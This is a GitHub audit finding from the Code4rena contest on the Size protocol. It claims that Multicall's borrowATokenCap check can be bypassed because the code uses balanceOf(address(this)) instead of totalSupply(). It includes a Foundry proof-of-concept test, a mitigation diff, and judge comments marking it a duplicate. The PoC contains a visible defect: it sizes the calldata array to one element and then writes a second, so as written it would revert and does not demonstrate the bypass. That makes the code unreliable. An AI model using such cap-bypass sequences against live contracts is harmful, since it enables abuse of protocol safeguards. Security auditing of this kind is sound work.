code-423n4 / 2024-06-size-findings

1 stars 0 forks source link

`borrowATokenCap` can be avoided by using the `Multicall` function #278

Closed howlbot-integration[bot] closed 2 months ago

howlbot-integration[bot] commented 2 months ago

Lines of code

https://github.com/code-423n4/2024-06-size/blob/8850e25fb088898e9cf86f9be1c401ad155bea86/src/libraries/Multicall.sol#L29 https://github.com/code-423n4/2024-06-size/blob/8850e25fb088898e9cf86f9be1c401ad155bea86/src/libraries/Multicall.sol#L37

Vulnerability details

Description: The borrowATokenCap is the maximum amount of borrowAtokens in circulation and it is a safety measure taken by the protocol to limit its supply as the protocol grows. The protocol allows a user to bypass the borrowATokenCap using a muticall function on the condition that a debt reduction will also take place. However that is not the case as the calculation to enforce this is incorrect.

Found in Multicall.sol#L29

        uint256 borrowATokenSupplyBefore = state.data.borrowAToken.balanceOf(address(this));

Found in Multicall.sol#L37

        uint256 borrowATokenSupplyAfter = state.data.borrowAToken.balanceOf(address(this));

Impact: If the borrowATokenCap is reached, the Multicall function can be used to bypass the check and use the protocol functions normally without having to reduce the debt in the protocol.

Proof of Concept:

  function test_Multicall_multicall_bypasses_cap_for_all_operations() public {
        _setPrice(1e18);
        uint256 amount = 100e6;
        uint256 cap = amount + size.getSwapFee(100e6, 365 days);
        _updateConfig("borrowATokenCap", cap);

        _deposit(alice, usdc, cap);
        _deposit(bob, weth, 200e18);

        _buyCreditLimit(alice, block.timestamp + 365 days, YieldCurveHelper.pointCurve(365 days, 0.1e18));
        uint256 debtPositionId = _sellCreditMarket(bob, alice, RESERVED_ID, amount, 365 days, false);
        uint256 futureValue = size.getDebtPosition(debtPositionId).futureValue;

        vm.warp(block.timestamp + 365 days);

        assertEq(_state().bob.debtBalance, futureValue);

        _mint(address(usdc), bob, amount);
        _approve(bob, address(usdc), address(size), amount);

        // attempt to deposit to repay, but it reverts due to cap
        vm.expectRevert(abi.encodeWithSelector(Errors.BORROW_ATOKEN_CAP_EXCEEDED.selector, cap, cap + amount));
        vm.prank(bob);
        size.deposit(DepositParams({token: address(usdc), amount: amount, to: bob}));

        assertEq(_state().bob.debtBalance, futureValue);

        // Bob uses the multicall to deposit usdc and open a buyCreditLimit order
        bytes[] memory data = new bytes[](1);
        data[0] = abi.encodeCall(size.deposit, DepositParams({token: address(usdc), amount: amount, to: bob}));
        data[1] = abi.encodeCall(
            size.buyCreditLimit,
            BuyCreditLimitParams({maxDueDate: block.timestamp + 1 days, curveRelativeTime: YieldCurveHelper.flatCurve()})
        );
        vm.prank(bob);
        size.multicall(data);
    }

Recommended Mitigation: Changing the state.data.borrowAToken.balanceOf(address(this)) to state.data.borrowAToken.totalSupply() should fix this issue.

-       uint256 borrowATokenSupplyBefore = state.data.borrowAToken.balanceOf(address(this));
+       uint256 borrowATokenSupplyBefore = state.data.borrowAToken.totalSupply();
        uint256 debtTokenSupplyBefore = state.data.debtToken.totalSupply();
-       uint256 borrowATokenSupplyAfter = state.data.borrowAToken.balanceOf(address(this));
+       uint256 borrowATokenSupplyAfter = state.data.borrowAToken.totalSupply();
        uint256 debtTokenSupplyAfter = state.data.debtToken.totalSupply();

Assessed type

Invalid Validation

c4-judge commented 2 months ago

hansfriese marked the issue as duplicate of #144

c4-judge commented 2 months ago

hansfriese marked the issue as satisfactory

c4-judge commented 2 months ago

hansfriese marked the issue as duplicate of #238